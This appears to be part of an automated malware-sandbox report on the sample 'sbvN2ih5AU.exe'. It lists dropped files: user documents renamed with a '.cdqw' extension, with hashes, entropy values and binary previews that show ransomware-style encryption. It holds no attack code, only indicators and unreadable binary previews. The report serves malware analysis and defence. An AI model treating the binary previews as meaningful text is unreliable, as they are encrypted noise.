Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844429702848119
Encrypted:	false
SSDEEP:	24:ZfGSGF1zITWKi6SkachVbueQZkNDGVJ/tnd8jQs3un2A+6ZFo3ZVoKR2bD:tQ/Gg6KchhueQZkNDGBnOQs3A2A+6ZKA
MD5:	0209878CC0EA033919460D1DEE9AD5FB
SHA1:	0557095F1E6F9D6B8A90147120AEBD4F88DE4E5D
SHA-256:	1F172BE3DB4E8A6856A16E1E5F54C4C7B94DDDF840F5AC705AA9D0D0E7D49A83
SHA-512:	6DA110A5D13907ED945847BC15C15506B068A82BBF7C1A80A82E4878A4AFACA254C78B9DB6E846D76627848DF0D5B1E9DC30B76DD6E1119FAC51ED3CBC5252BC
Malicious:	false
Preview:	UMMBD#E..8.[.8/.-.E.e.......Qg{R.N....u.v.<.oZ.S.....i.2.WKJ....$M........h.RC.2.9<.....O-...>..=s."w.).X.......!SgF....& ...,i0h..7.n....jl.FZ.X#z....\|....0.....+...J.e.....g"..0&..\|.x@[..bmM.b.;.Mm.L.o."....z.%.Z..L...F4.Y-..!.%.#+.....I...B>pe.o[.Sho...AY.n\.....b.RtE#P.?..J)$-,.A'.7..FT.n.XX....G.[GX.z..D..8e.O..Ru):0.z.&..-B.....9...b:..o.q.Bg.l.vv.j.W... ..l..f.nk.K!......M?..T..2+^I._.D.#:Q.I....~.Z...S.I....17.x...i......n:..'bd...#S...-...,...mC\|)m........g....:.........>.?-...'..B.....Os\|8.....{...P.M..u..;YV....c.......0.BV......%....O_.M.../.F.'.j.h+....9{ai{....r5..e.7..!.O...Zw/@....(Z.9..4z.^..%V..Zlwx......\..f..(.K.)...C{....+....f.12...g....sC...H..@.^............x.....Y\.I.Q...S...:..x...]..RX~"..Z.._.Y[.$.^D...o.+....>.w.@...@.....6....(....]..r.\.gd.1.O.9....../......m../.O{zW.R.v....9.../*..#..q..wgOI.1....e./..0....\|.Zo.Q.Be.G.u....m......w.E.....I.8= .B.5m....0.h.w.."..\|\|.:.F.M....^..17...^.n.Q..-!.%.x..s....k.xr

C:\Users\user\Application Data\Microsoft\Windows\Recent\UNNQSMMCXQ.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869877839686543
Encrypted:	false
SSDEEP:	24:pWt2IFg9Fm3NCvb4pe0IcBRswazQQulexbOUNoDTPZ8r78xpt4DHKGmeU1Ez62bD:p8kDcNKbHnMRM0lexKUNoDTPZ8r78iDJ
MD5:	2F44FACFEA1AA5ED3B5DFE6F93F5A657
SHA1:	16262F72C4298EF2F8BD5539D0EB5C5E40C9D53F
SHA-256:	442F6DD57F3DAB98AFDF4F706991D10B53CE596964DC3460B12C8CFDDE0AEBAD
SHA-512:	2D94D2FA3425B0213B166DEA414818C7C96AEFAF2336E952CB8FA1B549443CC464435EEFE903B7EEDF181A65112B52D5E768BE22306DCAD020A931F86951B18F
Malicious:	false
Preview:	UNNQS.v.."aa..................c.!.nWam..d3....\|o..\,.....d.;'.m.I.~..k.:......L..2.....4..$.m......`.^.Y....^..zK...1...d.Gd~..6.G..7..o.`.U.G...6Y....P.j...'....\|vP...w...1p..u...x/..ak.B.Q..(R:...H..f......l.f.K%"...1,..n....\B.Mj...f0'!...e..n#.q.......R.Wa.i.b..N..<h.L^1l..r7 &.".._.\|.j`....:.RT4K...".J.......c.W...S.M.a<..bCC...O..bTv.Wg..~i?.o...[......@.p.J..\...]j..cH3..6. .>.^y.D>..{..9....A...b..u........2..Y)#S.....f.C..\@........GL.....F.K......."m.Q....E3K.B.!......_..g....a4....c...~.c9../.o....}.B.K...dn.z....1.ov<..%...zW.....V.......E.c...1.....e.C....9.N..Z.L.`~eg..9.V...../..s.`.v...d%..q...E.?.-.........s...i..Q....cQ.]...(..o.~...$.........5ZZ...Ot..9....?...8.?..H.....A....I.U...=.....nj.F.0.....\.T.....8....V:..7...b.y.kQ2......n...s..cPFN+v...+..T......jR.>..ln..J......m.3......Cd......D.>..N...k>U&Z./.*.....)\|..V'.'h..)7~{...d..E.k.e..ps.wA6..=..^..#......6k...f....ekf.6,.Z%...B..=....T......7._...bg[.uW

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859018524889729
Encrypted:	false
SSDEEP:	24:/3BVInY/MM2/l0dw7+5mO3cV0bgNUDpPzRPzMkz2bD:/3Bi60s9bDp9PzMxD
MD5:	8EA9EEE2D1FAF3436F761D3080770A3F
SHA1:	3A80240886F435D17C50153FA4468DF63C1C90F7
SHA-256:	B2ED711758DA299235A860A5095D952AC75BD8BCA1E12AB91FBF2046A26B0110
SHA-512:	5CC6E47FA537C4749F2770C78FA7180E74C30A71CA2F0341F1459F2D5C20FEFAA84708793CA9E07680BD8C690E94553A3F1DBB6F729A102325707A5756AEDED8
Malicious:	false
Preview:	VLZDGy.J_.....U..A....X....Uu9J...JB~.qf.@.r7.e.....d...a?..6z.4.....5tr..s..8l.......k..gVRad..t. .&vR...q...X........<>..._`...OE....lQe 0(..R\K/....K.....5:P......Q.. ..6v.R..2.N_..hf.x...'hO-S.I{.`2.a.8..R}..i...fztD..H...+.'Wa..mM..c=.S...0V..V..../.]c.6n...#...xN..l.......-.A...{.H[E.9e._.]..N.)K..^.c.e}.#......8..L..J.E..{.%a.??..%..?L9Oa..)!.o.[..N....O....$.h...?<1...AP.....Fw......$dK.q9+rGH0.z\|..w.uS.J..Ga..P.C.R3...M....v....K..C3v$....@........1I..2..l..e.cT[..X..(.z.4...r.v..4....3.....&.....".A.l{..96i..}..N}g:b"y}O..Hn....RB...n._.....4.S.....o....S.UD....L~...k.......v\|.....L.Q.n...^ ..s.P.......k.N..............!.I.....hoG.i..e.N..'.])..S7...a..4I.....Jz.k.j..o\....R.....T.....:./_..'.............U.."!Z;../..-.....H.. ./..T"rN.N.W.z....m...:.\.K@...6..9 .......\.M7t....,..}..4.>j...EX%.4.....J..n....H...d..9S..A.l..5...jo.3.6.._..E....h...T.>.~.....lF6P1.~].i...IE......F.Xh{....}.-..&3..Z^g&xi.^T.".7.c.1......

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864527622834264
Encrypted:	false
SSDEEP:	24:Q/So+AlqEM4rGHGvOW8xvU5Q87p7j5PVkMqxRMw9LZYsG/l0sExPwQybq2bD:Q/f+Alhr1OWCc5Dd7j51qzMENYsG/IaV
MD5:	2EA286DCBE825A37BC43B96C593804C8
SHA1:	72B7CFD0BB1FD6C553ED26469FB0F9352E55854D
SHA-256:	D67BDA05A8A9E33203E1F56CB2553467DD2F1D37546DA4AEA9D79D316E6C336C
SHA-512:	AA97152461DE57DC17DB17F8AAF551910F7AE754CFDFA36D9BEF63343C3C67EAF27D85FF984B13DEB799F18EE874442B1803DC0B1961634D0A47FB2615F95EEB
Malicious:	false
Preview:	VLZDG.......i.....7u?.1T.}V....-...u....h..Vz.B^u...t....8"coRB\.. t..[...6}..hT..\|...t....g'..qc7l.<..bc$.C..Q'b)h......HMI..UH.7<....uA....$....'.98...c{.....~.E......B.K..Fj.t.q......O.4....:_...C6(W..bd..D...4.W...\|wY`%...G...H#\S....Xx...1N.$...w..b.z.7..#.:.bH$6-B..l.....W..."..v!1.+k.z..I.I4d4Q. ....V..-I_...wbu....e..@..7.y...P......>.S.T......iz.~..N..`G...z...0;M.....[..2..6..3.y...e6.?{.!._N...%%...........@SS/8O.3Z..).1..7..B.W...........8...g..E.C..#1CWW"...NF....AV........p......s.!)...p.@.......`.]z.c6-...;.XWy#...CD....:%...X.8e.2....sr.}..q..-.)....F"".S.6~c).].........=.s.....(...]'F...n.6...1j..X[.^.&.......w^.V....J....xZ@..a...~./!p....d%.........v.)R...e.Y...izoJ@m...........Z9>....Z.J..5nB.&..J)[....8..4:....p./..([.A.)..._m...C......._n.D..,cJ..>...b&k:...v...2.....i............c....b...1h,w.=...b..TW../+...t....p.I)...?.....`.8.2..p.1....z..J[...g.q.f..a.s5/}.ReJ.W]n...t....G...*.\|gD_.n#p...7n7w.F...>.. E

C:\Users\user\Application Data\Microsoft\Windows\Recent\WHZAGPPPLA.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865906083302243
Encrypted:	false
SSDEEP:	24:Wx/GGxs9Z6jYvprXj+AzTy/ZoutPSwzq83Xr+HMSSIKXI+fXu1+8X2bD:Wx/Gb9ZmYxriAzTb+SwzHr+HFSBNfXIC
MD5:	B9E59445721F3057D8C029ABECEC572F
SHA1:	652512F02B4D623B87BDDE31AD7444E0E2B82C2B
SHA-256:	5691D24E5F10E54DC9F99409F4E119648074807F73471D60DEED05BF7751DEDF
SHA-512:	2057D94890D683F706E761FB171DA718D701CBAA2B846702D9DE80837B65A421AB71CD42D5A2D6F28B36F34B3AB0F6B097EC0C6F5E9DB5A268E9FDD45896AEE9
Malicious:	false
Preview:	WHZAG......B.b...Il.^..5yXig.!.w..S.t.8.......[.......,.}..G...0.....]......Z...KP.....(...E.J.,.m`$....)\|w....h..........#.:.........Y..r........h...Du././AI...M$....T5...h.gC..%...."B........d.x..Eu1o+..E;dE..DM......s......;.w./...uh.OY........]..<6".H.8.B.lTJsG....H.n....H..!r...1 .=...]..@W4{.....l......q.x. ... ....\|L..'...O+.o...K8X...=L....W.......!.].B._Z.t5.Yla.......... !:.,\|.8.$....3.......F..Ob.\......U..S.-^ Qi;....-0?..j..3q.+z`#z...& ...%:.b>T3....:g^...%....^.('A....h.....`.7...&'..\|qG]..).%.....~....Q.s......].c?.>WC ..j...Id.0..j.....S.4...k7.....d.~<..S..`.O.1.I!... .[......&<..?..q..OKw.....H]..P@.\|.R...../.....t..~..........#..TB...T..->..Vd}..%.d.....\3.$.4.B<u."/...?S.l..0..6.n....3.C.@..-F_T.......<E...+.s w.d4m...{JWz.wst....=..t.....\|..x~~...+m-.Q.7IK#$V.>d..!.aN3_;..%GN.z...>.......`.u\|.<......jW...7.Z....DtF.}.a.A.$3..P.b@...........a..x.;..8...3..}....F.vq.x.D>' .{k.L...M..4....9.}&.3&.Q..\|R....!<.y2k."...H

C:\Users\user\Application Data\Microsoft\Windows\Recent\WUTJSCBCFX.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8461877671062155
Encrypted:	false
SSDEEP:	24:9D9p9stLMBWAtJPWwmPcpQdjmOpg2zsHXEuMAeQQBLcBZgK3A2bD:TUdaWAvPOcSd3uM+QBEgszD
MD5:	10CE73CB0DB6BA61CE5E9BF10DFA0BA8
SHA1:	B37CC1A105E9C611331614520397964A90B31AC2
SHA-256:	9A5CE9C6EDF06480A0A680AFE84C5E4ED4D6C8FDA5D3960F7BF5023387BA1134
SHA-512:	48FF5D08C878A79E6B719001560EFEC27F27A7FAED6A1BE97F5A0D2B48C983CFC6F056B425F9BBA223F02DAD8CF282040F67F903440B4E241B6BAB80EDDD95DB
Malicious:	false
Preview:	WUTJSA.._.A..1...(...9D..Y..X.%.f.s...#.~....h....hD....n..%.63..../..0..aZ.##zIm..3W..+.Zw..B"rT..=...\.0....A!\..]S. ..aE.)...$.l...R..@i.-v..r-. U........h1.,.D.Z-...b\|.z....t.?.:...... .d.......Z..@.@..3...g..ni7.<...+.[7I.?U\|....cU.-.wr."...Q..V..F.q..........9.....j.$^....;.a..q.u.ZP..(..s/..W...g...L..XE...-...P....u..p.Y.C..;4..p. c..+..m<e.U.{....S.w....L..V'.Q.^Ta.....[.e.g.q.5a.E..T..&.S.L.x.]..Ae6.+..)r.V.m.....z.mV,....-..P...`$.-.b..E..>s\.V!..%.b.Pb\Y..8.PAU..IeM...6...7Sb.....6..0.F".j.,...p#.m..9.Yw.cg.d...l.+.....H.V.b...H..H....o..twK.....h...1......^b.n@F.......C.y....h....4.....X.L.zg>.;....s....kRB8..@..@..B..v7.Q._..dOnP..,..t6<\..].Y...9..`.5...7A...w..OL.$B...H....].e]5..r.:...z.@I_.Y(.o.H.H.........Y..s.1....C....F.>.i.V..V..lF.......=z.e.d.......^n.aZ....2q.@{...R\.S40U.....SG...=..G..-;.T...C.+9jVk..\.32*.,.d.....M.}E....;./&...MS...O!..@F..\|..N.....mwM.......E8.5..m.96B..W."\|........jx.c..5.[.y..m.%...].5.:

C:\Users\user\Application Data\Microsoft\Windows\Recent\WUTJSCBCFX.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840929015319623
Encrypted:	false
SSDEEP:	24:9LI7HqpJtUo58CIBMUr0NRbJnmVifCVU737iN/Gqod4DjGaKjQthtL5kx+2bD:67Hq7tJmCIBtwbJnYiYM7vFd4Gb8ftS7
MD5:	0D82C348935B077B091C2BFB70A7B353
SHA1:	9B55E6F400FEE07D996C6A049565894E5E2EA478
SHA-256:	F510470038296E55EB868F594A1713CAA807E197808050532922BEA8861A4F98
SHA-512:	C99EE70E2CD97279116186D5959AEDC4C03BF20F67F4EFB4F836729D90E3EAD7D4C0C0A16A621E1BEAEA1AC90B22F2080A297E31B19F72620833F9CEE5A8C73A
Malicious:	false
Preview:	WUTJSu......(WQg......x.6.S.i.jk....rt:eLo.K.K.J.ZG3...C6`..=Q...V.F...........3..b...m..dA.K...\..ZNy..u...]..a.C;z..V....B.....3...T.y19......q5"f.4..K....f{G.?.K......2..E.WHpz...J#...d....s...=i..tn.%.NA.Q.).=.(.@8._..F.Xx.....e....X..`I...D.a.3..h?9.iQ..pd..L.`.h@8gs\H....BTl.7.){..g..U,..^Z.M^.....Qx....HF...3...i.>[B...#............mY5...5.T.m.1.4I.g.....'.L../.W.W_'....ima=v...@....H-}.v=....S.....l..^3BL1T'N...l?.S......b..A..J:....L..(\|\..H...R.c...U6....B9.5.b..$!CD[.2).o..\..`"..uP..m...,hl.h.Ft...B..].vCa.UC.9g}...,.qx.+.&u....?..?.R...2..JT.<.....>:qq.j{...$t.".y..].Uy...K./.%+..Z...o.P.)C=.H..G".b.z.F.../...oK....EU......lt..&&.UN.j3..1.2.....n@.Q8T.p...h...3.S\|.......n..o.hU....... _...............WL..cU.....U..9..p2.a...L}.....d....\|.v}ON.JhCG.V.0j..9..;j'.5..9U.T[.g.C8.d...4.L.f..8}}t....>..v..5.g..v.'..=..1<+.v.........B.,%aD*[..}]n.S.S....z~.z.. g.H.Yq..\|..q............f;.r...T7..}....=.+..0.HB.K.8...9...{..

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861291730794821
Encrypted:	false
SSDEEP:	24:vOfbohHInRGBqyEEIUKJfCeZC1ipRmZkKEEe++r1dYMlYbBrZwm98DppBkqqZ2bD:vebohHl4E1GZZC1UIZE1r1dYMl4Bem9s
MD5:	9A083821DCEA94DCB41B86CFB5319C8F
SHA1:	C98807642B3266D4E49404DCED5C0503BFDD7B97
SHA-256:	730515ADF926714DEBC3FE46985C4EF22F3D92934B000FA88E50D8680F85D895
SHA-512:	22AC2934CFCECAB2A40AA84AAFBC38B6660ADCB21562C8A8001F50ED831DF0548423FD6C624E150CA49A1708858C04105C89007A8180EC42A877C434CC11EA71
Malicious:	false
Preview:	YPSIA..@n=Kd.j=...#..s..P..}..Z.2_p.....1.....h...c.1......4.C.....(.....b..f`Q.>..us..@.k...<...U.....[Z..B.X...o......aR.gU318]..A_......Qy.1'B.....5u..{..W.Bh.a.6...Fk...%(.Hkr.M...9...}Z..dkF_u.?4..}.....N...Ah.....m=.H...y1.V.+.`.2.+..q....z...Z..xa+..#Hd..V.Jr:E...9.........%.i........gi..d..i.....Q..d...=..N............}.(..Z..+.'.....3.).....=....!.=.O..u...V.}'.....^...7...9.j.#.u.W.E.B..d...U.Z....[.#FU{.l2.>P.u...G......MSo..2....~.TI8.ew`U...fj..9.....f#.m...?`./.....O....m...~.u4xa.2.>[\|.]no~'..:..%.HB..z@.&..0.....uC./.6.Q.a.}...P\ 3....-.....y2...d.5.L..7..E]6..?.....M=...`.g...cjU<y.(0..X.T.e.-.GI...&.v.A0.4.#.W.%...\|`.y.....Y......9O9.j...T.....s.......V...&...$.^...aq.Py)......rD...]....F...{{......s....=.&..........p.....X{7W.oE.........ri.aM...l...L...e..4F...9..j[hG.t.=...\V.u..L...>...[.4X.../".p....='....'....G5.(...6.$...._..d.3..WQ.E.d9`L..R.......\|....uBW..tH 5..........kl.....,.......B..*.pxd.i8.

C:\Users\user\Desktop\ONBQCLYSPU\DVWHKMNFNN.mp3

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.821600654113221
Encrypted:	false
SSDEEP:	24:o3ZNi7atonFO/nVu0aids2V+DFZloCwJCvmBTmx//gMqQ2bD:oJNi7tFO/nVdaiT+DFZunJFBTm9/hqDD
MD5:	20833CA8A98B831E24B03DE2F5D80F1B
SHA1:	854DFBBA36DB20DEE3A17FB2EDBE05BB464E5E11
SHA-256:	7A5FEA709BE980ECD90B67C3D799F50E39278E4C692812AAE2B8B0BD484CB738
SHA-512:	FE3876160333625E3ADCA92AF4458C506564FCD24E009CF4BE83E69A31DF864764C8E05D1A31D98F93552EC0F7D3E3CA39CCFE2B1A93F06D6D89163827B46714
Malicious:	false
Preview:	DVWHK.`?.......u.rvu7?..]...F.o.r..........!U..#.O.JW........A..-....._#he..y..H.!:H~;..}..p.. ..gX...#.....N.A.]@"......z.g.g.I...W.9.#P.'..........Xd...l.....t.!.....u^a\|....u...i...~..).M........vU.fD.\.d7oJ\.a.k.ZFX>.+.F6..M`...f....V......).........}~.....Dwb......'.V.Q....]mD.@}.y..)UZ...I?W.....R..D.....(.;Z.+..zZ._.`......\|..n...6.K\|..Ku.........'C.G.1G.....v.B...:P..dT.u...Grr.mu....Z7G.$.b.J...c...L...e....~.y?.Cu..>.qI..3v..%....mx.w#s....;.sL.a.....jN.G8G....L9%....(L......y'..6.[.{#\P...,.H.._..[s.D......HT&jb..........p.sR1N.WO.>...N'.WU..T..D.....n.y.Q...1cB.9....).....O....&4.Q.K(.%.P....a..&F.w...b.p.5..J.K.7..T\|3...'.q...'~.VC...;.R... b>&.2.+....e.h.X2..xz.Ja9...%~..`.b...eH;.a,@..VQ>8gY...9QW..Q@v...]...Z...Tt.u.~u....LG....b,...D...61..s%...0q.M.W....{^.S......U(.JZ.,.I.....H....9).!..B...Ju......hD~.?JC....>.....\|.z...}.y}..$G.6.>.;n...mu.T\....j:O=IA.....+..E.J......6;...5Ql.....8...$./.pn..j/*.X....f.!o.....s

C:\Users\user\Desktop\ONBQCLYSPU\DVWHKMNFNN.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.821600654113221
Encrypted:	false
SSDEEP:	24:o3ZNi7atonFO/nVu0aids2V+DFZloCwJCvmBTmx//gMqQ2bD:oJNi7tFO/nVdaiT+DFZunJFBTm9/hqDD
MD5:	20833CA8A98B831E24B03DE2F5D80F1B
SHA1:	854DFBBA36DB20DEE3A17FB2EDBE05BB464E5E11
SHA-256:	7A5FEA709BE980ECD90B67C3D799F50E39278E4C692812AAE2B8B0BD484CB738
SHA-512:	FE3876160333625E3ADCA92AF4458C506564FCD24E009CF4BE83E69A31DF864764C8E05D1A31D98F93552EC0F7D3E3CA39CCFE2B1A93F06D6D89163827B46714
Malicious:	false
Preview:	DVWHK.`?.......u.rvu7?..]...F.o.r..........!U..#.O.JW........A..-....._#he..y..H.!:H~;..}..p.. ..gX...#.....N.A.]@"......z.g.g.I...W.9.#P.'..........Xd...l.....t.!.....u^a\|....u...i...~..).M........vU.fD.\.d7oJ\.a.k.ZFX>.+.F6..M`...f....V......).........}~.....Dwb......'.V.Q....]mD.@}.y..)UZ...I?W.....R..D.....(.;Z.+..zZ._.`......\|..n...6.K\|..Ku.........'C.G.1G.....v.B...:P..dT.u...Grr.mu....Z7G.$.b.J...c...L...e....~.y?.Cu..>.qI..3v..%....mx.w#s....;.sL.a.....jN.G8G....L9%....(L......y'..6.[.{#\P...,.H.._..[s.D......HT&jb..........p.sR1N.WO.>...N'.WU..T..D.....n.y.Q...1cB.9....).....O....&4.Q.K(.%.P....a..&F.w...b.p.5..J.K.7..T\|3...'.q...'~.VC...;.R... b>&.2.+....e.h.X2..xz.Ja9...%~..`.b...eH;.a,@..VQ>8gY...9QW..Q@v...]...Z...Tt.u.~u....LG....b,...D...61..s%...0q.M.W....{^.S......U(.JZ.,.I.....H....9).!..B...Ju......hD~.?JC....>.....\|.z...}.y}..$G.6.>.;n...mu.T\....j:O=IA.....+..E.J......6;...5Ql.....8...$./.pn..j/*.X....f.!o.....s

C:\Users\user\Desktop\ONBQCLYSPU\HTAGVDFUIE.png

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84926560344674
Encrypted:	false
SSDEEP:	24:5L1NtS1WGNpcqVNIyrvuFDGcDnlLa1Ap9NCQfO4j9dqfY082LbBkz8u6x2bD:51NQMGT9ICvGzDnppzC+O+70382SzGKD
MD5:	038A8FDBB3422CF22FA5CBB82D761114
SHA1:	5A5ABA94252F9B155206C3615950B66B48C2C7BC
SHA-256:	15AE373193C094FDD838D92D67CF5817907A959CC2A8AA287F5943D4B5A04685
SHA-512:	242D01F4479782541FDBB597D25F6809E2EC947657EAF45DA86982875B28526E39CA5675E0DF19FA0CF93DA77A6F7F058C22A904691B23C057EC9754C3E54E6B
Malicious:	false
Preview:	HTAGV...{A..%.o.14 -..D.-.b..........y3......w.q.W....f.O~..py..."wc{{M......$P.W...,\|.).WF....<.}....v~S..E..^-l..-6..<SC..L........O..&7\|.....G.0w...ygc...c..I..e.N..S.(u.....&5....18)#.....5.d.^....X..g...e.\......P^&'..:..gt..._,......z...;..wmU....\../.w...@......11..b...~.8...-L.GS.H..;(.o. }oE V.h?.5;...Jy..7.&...z...X......3...=..b.Zj....u.#....9....b!t.q.LB..g.0.../M...........i.VKh...]AHi.P.K.?.!@.}...>.N2)....?.l.&......CO...M@..SDP..6.......c..t...g.3..5W.s.a.].....N......?........f?...O.p~...6...N. ....u.8...P.CD.4.fo.u~..`......;.%h.E.P...x.u?.Mx_...}..wTG...&..E>...Td..N.".^....:S.}...n`@.BhX......#s..c:.. ....s..'t.G.9~7....1v..]..r.. ..\...{..1../e.......!.m_......}?...:oiei...+^WlyA"+.i..HJ&&o.\|.T.I. ....yf........T....q..p..........Bf...P>.a}......,~.-.e(@H.JV..".H=Y...=srp.b!.Q..ia..}....A.)lb.....od.v.....`.`.......7.....dK.cxs...V].....PU.S.-r.0G.[.G....2.../N..}.3d"'...w..C....W.7#lm..W.8E..z&.20.E...c..:ea\*....

C:\Users\user\Desktop\ONBQCLYSPU\HTAGVDFUIE.png.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84926560344674
Encrypted:	false
SSDEEP:	24:5L1NtS1WGNpcqVNIyrvuFDGcDnlLa1Ap9NCQfO4j9dqfY082LbBkz8u6x2bD:51NQMGT9ICvGzDnppzC+O+70382SzGKD
MD5:	038A8FDBB3422CF22FA5CBB82D761114
SHA1:	5A5ABA94252F9B155206C3615950B66B48C2C7BC
SHA-256:	15AE373193C094FDD838D92D67CF5817907A959CC2A8AA287F5943D4B5A04685
SHA-512:	242D01F4479782541FDBB597D25F6809E2EC947657EAF45DA86982875B28526E39CA5675E0DF19FA0CF93DA77A6F7F058C22A904691B23C057EC9754C3E54E6B
Malicious:	false
Preview:	HTAGV...{A..%.o.14 -..D.-.b..........y3......w.q.W....f.O~..py..."wc{{M......$P.W...,\|.).WF....<.}....v~S..E..^-l..-6..<SC..L........O..&7\|.....G.0w...ygc...c..I..e.N..S.(u.....&5....18)#.....5.d.^....X..g...e.\......P^&'..:..gt..._,......z...;..wmU....\../.w...@......11..b...~.8...-L.GS.H..;(.o. }oE V.h?.5;...Jy..7.&...z...X......3...=..b.Zj....u.#....9....b!t.q.LB..g.0.../M...........i.VKh...]AHi.P.K.?.!@.}...>.N2)....?.l.&......CO...M@..SDP..6.......c..t...g.3..5W.s.a.].....N......?........f?...O.p~...6...N. ....u.8...P.CD.4.fo.u~..`......;.%h.E.P...x.u?.Mx_...}..wTG...&..E>...Td..N.".^....:S.}...n`@.BhX......#s..c:.. ....s..'t.G.9~7....1v..]..r.. ..\...{..1../e.......!.m_......}?...:oiei...+^WlyA"+.i..HJ&&o.\|.T.I. ....yf........T....q..p..........Bf...P>.a}......,~.-.e(@H.JV..".H=Y...=srp.b!.Q..ia..}....A.)lb.....od.v.....`.`.......7.....dK.cxs...V].....PU.S.-r.0G.[.G....2.../N..}.3d"'...w..C....W.7#lm..W.8E..z&.20.E...c..:ea\*....

C:\Users\user\Desktop\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866718350374691
Encrypted:	false
SSDEEP:	24:Z5IiE9D3GndatMN0Az2A2U0PfLnE7gyDJMLVZMmtWVC5oH1p9XekL+TYFBJRi5qY:Z5I9x3vtMN0Az2WIGgESxZPWVooVvXMj
MD5:	11CAC2F5364A93AD8DED23E17C4229FE
SHA1:	FB56C8D9E25DD0B2803C7BD92BAEC7105F4A69CA
SHA-256:	84BFFC870B5EE269A2ECFD07B31C4BCF15EE8E577A376AE2B6A9FFC616D06B35
SHA-512:	B1BDBEC108A83F38C09626A856AD6715FC96F719C3D0B1B59609DDC3EEB635717712D872614EA3253AB1E81E2E24AD2C73D7096128C32881D6EDAD725ADF1586
Malicious:	false
Preview:	ONBQC.oDW.lz.I'3.P..v;/....C..wx._.......J..!......=`b.i...z.".\|U...~..L....y..Np.6..$:.bQ+...6B.V.....1.=.3Tf.e-<..v..K...b"7..Q...L..d..{P..'g.S.......32;...L.H.X..1.......6....}R...{5..a).......<...d..`......v....:..uQ.U5..o........0%.......S.{.G...hfMc.D~............/..[.lDI.../.......sW.p..>9&...H.7!U.T.i9::x..OI..Rk.....B..F\|z.".<..]..E.H..fw..n.....O..OX...$.5.O.JY>..F.%'...r......'9j.t..s;,.9...Rd........4.. ..r\|[:.....0.....P.=RV.+.U..0\9$.2s..3s.....Tm........&.......M).....-..0..%.B./.....i.k...j...q\|a.............p.....a.z...P...,..'.1.l.m..&G..T.._yC....;.;<.....Y...CI.....,M...A.I...K..Y]..JHhy.._.w......V...VI..v.\|...>..C`.(z~...O..z..F..Xq`..,IT.'..X.\..S....l.}Q.&1..`v..5..;.m....c.8.u<..F@.@.D...=...]..bO.,O......:E..7..r...<.....^/.....i.y.......W....7.5.g....<...c5.....h........Z.;..9y..^.H...jI.t.G.0..S.$..Jg....p{..q?..3>..r../...<..?gY%....,.^t.*..u.:Q.a.w&.Q..Q.B.H..\Z.%...i8s...7...\|'H....F

C:\Users\user\Desktop\ONBQCLYSPU\ONBQCLYSPU.docx.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866718350374691
Encrypted:	false
SSDEEP:	24:Z5IiE9D3GndatMN0Az2A2U0PfLnE7gyDJMLVZMmtWVC5oH1p9XekL+TYFBJRi5qY:Z5I9x3vtMN0Az2WIGgESxZPWVooVvXMj
MD5:	11CAC2F5364A93AD8DED23E17C4229FE
SHA1:	FB56C8D9E25DD0B2803C7BD92BAEC7105F4A69CA
SHA-256:	84BFFC870B5EE269A2ECFD07B31C4BCF15EE8E577A376AE2B6A9FFC616D06B35
SHA-512:	B1BDBEC108A83F38C09626A856AD6715FC96F719C3D0B1B59609DDC3EEB635717712D872614EA3253AB1E81E2E24AD2C73D7096128C32881D6EDAD725ADF1586
Malicious:	false
